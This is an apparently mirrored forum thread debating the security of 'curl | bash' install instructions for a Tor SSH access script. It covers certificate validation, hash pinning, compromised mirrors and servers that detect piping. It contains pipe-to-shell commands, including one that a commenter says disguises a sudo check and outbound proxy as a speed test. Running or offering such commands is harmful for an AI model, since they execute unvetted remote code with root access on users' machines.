News for hackers. Stuff that matters.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by UI_at_80x24 on Tuesday March 05, 2019 @09:56AM (#19310886)
I like the theory behind this and the motivation. But this has to stop:

># Usage (as root): $ bash <(curl -s https://gitlab.com/grownetics/devops/raw/master/tor_ssh.sh)

Spoon feeding like this is why Windows has such a disgusting history of malware, and only encourages people to not think about what they are doing.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by gpm on Tuesday March 05, 2019 @10:01AM (#19310918)
It's better to tell people 'clone this repo and run this script'? I'm pretty sure people have exactly the same chance of auditing it.

curl | sh is slightly problematic from untrusted servers that might change the script depending on whether or not it's piped to a shell, but from gitlab I just don't see a difference.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by v_lisivka on Tuesday March 05, 2019 @10:19AM (#19311030)
Of course, it's better, because we can link to specific commit by sha256 hash, which is way more secure.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by bouk on Tuesday March 05, 2019 @10:23AM (#19311068)
You can do that with a direct link too: bash <(curl -s https://gitlab.com/grownetics/devops/raw/ef053050065c4928714...)
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by v_lisivka on Tuesday March 05, 2019 @10:27AM (#19311101)
No, you can't. Nothing will check SHA256 of a malware downloaded in this way, so nothing will stop malware from owning your host. To check, just put "127.0.0.1 gitlab.com" into your /etc/hosts and try to serve your own file from your URL. Git will detect this, curl will not.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by vegardx on Tuesday March 05, 2019 @10:42AM (#19311215)
Yes, try it. Unless something has changed drastically curl still checks that certificates are valid.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by v_lisivka on Tuesday March 05, 2019 @10:59AM (#19311356)
It looks like you assume that SSL guarantees correctness of the file.

First, I had experience with substituted SSL certificates (by our government, at revolution), when errors were reported by Chrome only due to certificate pinning for Google services.

Second, site can be hacked and replaced directly at the site.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by vegardx on Tuesday March 05, 2019 @11:12AM (#19311469)
When your threat level is government agencies then, sure, you have issues. But git wouldn't solve anything, unless you have a way to verify the hash or signature.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by dev_dull on Tuesday March 05, 2019 @10:54AM (#19311309)
Can you name even a single instance of this ever distributing malware in history? If downloading an anonymous binary makes you feel safer then I think your criticism lacks merit.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by ithkuil on Tuesday March 05, 2019 @10:32AM (#19311141)
I wish curl (or a similar tool shipped by default on all distros) had a flag that accepts a hash and verifies that that downloaded file matches that flag before streaming it out

I played around with that idea in https://github.com/mkmik/runck but it obviously can used for installation instructions only if it's rather ubiquitous.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by swixmix on Tuesday March 05, 2019 @10:47AM (#19311258)
Integrity of the file after transfer isn't the problem.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by kej on Tuesday March 05, 2019 @11:15AM (#19311495)
One possible curl/bash attack is to serve a safe file to browsers but a malicious one to curl. In that case a step where you verify the integrity of the file curl downloads would be useful.

(I seem to recall there being a way for the server to reliably guess whether the file was being piped or saved to disc, as well, which would let you restrict the malicious version even more. Google is failing me at the moment, though.)

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by badideaprojects on Tuesday March 05, 2019 @11:24AM (#19311583)
This post demonstrates detecting the difference between a user piping the output from curl to bash OR curl to stdout.

https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b...

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by acdha on Tuesday March 05, 2019 @10:02AM (#19310923)
What specific threat do you believe your advice is protecting people against?
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by LinuxBender on Tuesday March 05, 2019 @10:20AM (#19311043)
sudo -n is a start.

Here is one I wrote that shows your internet speed, but will also check to see if you have passwordless sudo. Even without sudo, I could spawn and persist a gateway port ssh proxy outbound to a VPS node, but with sudo, I could do much more.

    curl -A Mozilla -s https://tinyvpn.org/misc/url_test.txt | bash
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by acdha on Tuesday March 05, 2019 @10:50AM (#19311277)
… and you've installed this on Gitlab's servers? If not, the knowledge that people write malicious code is not new but the problem isn't running it using curl but not vetting the source and code before you run it. Focusing on the use of curl distracts attention from the part which matters.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by LinuxBender on Tuesday March 05, 2019 @11:05AM (#19311407)
I understand what you are saying, but respectfully disagree.

Conditioning people to use `curl | bash` trains them to not review anything and blindly run untrusted code. I have proven this across a very large group of people, including many that are supposed to be security minded. This technique works on nearly all organizations, as most companies and government agencies do not force outbound traffic through a mitm proxy. I have mixed feelings about those devices.

For what it's worth, where the code is running from doesn't really matter. The only advantage to pulling something from gitlab or github, is that I have to commit changes that anyone could see assuming I dont recreate the repo, which I can automate in their API. From any of my own VM's or servers, I can certainly make something look like a .txt that isn't and dynamically changes based on user-agent, remote addr, latency, ttl, etc.. I could even change the response if someone used curl with a fake user-agent, based on timing, but that is another blog post for another day.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by acdha on Tuesday March 05, 2019 @05:23PM (#19314826)
Fair enough but I would ask whether this is really that much worse than, say, running "npm install" or "pip install" for a package whose author you don't implicitly trust. From my perspective, that time would be better spent educating developers and working to make their tools safer to use — for example, using aws-vault on a Mac means that that a drive-by script cannot harvest your AWS credentials (the key chain requires prompting per-binary and the user cannot bypass it).
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by LinuxBender on Tuesday March 05, 2019 @06:36PM (#19315235)
Tools like pip, pear, gem, etc... are quite bad as well. Unless they are validating gpg checks of files or packages against a trusted source, then you could easily be installing a package from a mirror that has been compromised. In fact, this has happened to python repositories several times.

Even gpg checks when done the way Ubuntu and Redhat do it, is also bad. I see people install the gpg keys from the mirror all the time. If I pop the mirror, I can simply put my own gpg keys in the mirror and a percentage of people will happily install it.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by acdha on Tuesday March 05, 2019 @08:21PM (#19315722)
GPG adds usability problems and doesn’t much help in the case where people have no idea whether the remote author they’ve never met is trustworthy. In most cases something like a Linux distribution is what you want where things are at least highly visible and a trusted third-party is looking at the update history.

Modern package managers do at least store hashes so your NPM, Python, Rust, etc. packages can depend on other packages with hashes in addition to just a version, which at least forces them to attempt to make the exploit covert enough that it can be deployed to everyone but there are many ways to make something subtly vulnerable. Ultimately, I really think this is coming back to securing the environment so a successful attack gets less. Apple has led the way on protecting things like passwords and mail from other processes running as the same user but it’d be really interesting to see how far you could get running your entire toolchain using the OS’ sandboxing.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by LinuxBender on Tuesday March 05, 2019 @02:23PM (#19313350)
Here is a thread discussing the detection of `curl | bash` based on script timing [1]

[1] - https://news.ycombinator.com/item?id=17636032

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by v_lisivka on Tuesday March 05, 2019 @10:19AM (#19311034)
malware
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by acdha on Tuesday March 05, 2019 @10:42AM (#19311217)
Think about this more: what malware are you going to get by running that command that you wouldn't get by downloading the file and running it locally?

You'll eventually realize that the answer is that this advice has no value. What could potentially have value is reviewing the code before running it, which can be done either way.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by jdeca568 on Tuesday March 05, 2019 @11:04AM (#19311400)
There is one difference still, by downloading it locally, you only have to check it once and not everytime you want to use the script. You definitely have to trust more parties by piping from the web, and these parties could be compromised at some point. This might be fine, it depends on your own security policy.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by v_lisivka on Tuesday March 05, 2019 @01:19PM (#19312741)
Of course, I can get malware in both ways, so recommended way is to trust a third party, a maintainer, which will review code, and then will create signed package.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by acdha on Tuesday March 05, 2019 @05:20PM (#19314806)
Right, so rather than talking about curl | bash it would really be better to talk about your review process since, for example, the same concerns apply if you do something like "npm install" without vetting every dependency.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by aboutruby on Tuesday March 05, 2019 @11:32AM (#19311679)
Better usage would be:

- wget https://gitlab.com/grownetics/devops/raw/master/tor_ssh.sh

- less tor_ssh.sh

- sudo bash tor_ssh.sh

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by NickBusey on Tuesday March 05, 2019 @11:36AM (#19311712)
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by aboutruby on Tuesday March 05, 2019 @11:59AM (#19311947)
You are making a script to access a server through Tor, I think "paranoid" users might be most of your users.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by NickBusey on Tuesday March 05, 2019 @12:03PM (#19311992)
The purpose is easy NAT traversal for things like onsite physical servers or CI testing.

Tor is not reserved for nefarious purposes.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by teddyh on Tuesday March 05, 2019 @10:42AM (#19311218)
I recently saw the term “curlbashware”, and I like it.
Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by tsukurimashou on Tuesday March 05, 2019 @10:02AM (#19310922)
The command is only found in the script itself when you look at the source from gitlab. Also the script contains 7 lines in total if you remove the comments.

I get what you're trying to say but in that specific case I don't think it really applies.

Re:Show HN: tor_ssh.sh – One command to enable SSH access vi... by NickBusey on Tuesday March 05, 2019 @09:58AM (#19310899)
I mean, that command is linked to in the actual script itself. I figure if you're already reading it, it's probably pretty safe to run. It's also what, a seven line script? Not too many places to hide anything nefarious in there.

Sure, I suppose the install directions should be more like, wget the file, cat it to be sure gitlab didn't serve you a malicious file instead(?), then run it.

Really not sure what this has to do with malware on Windows though.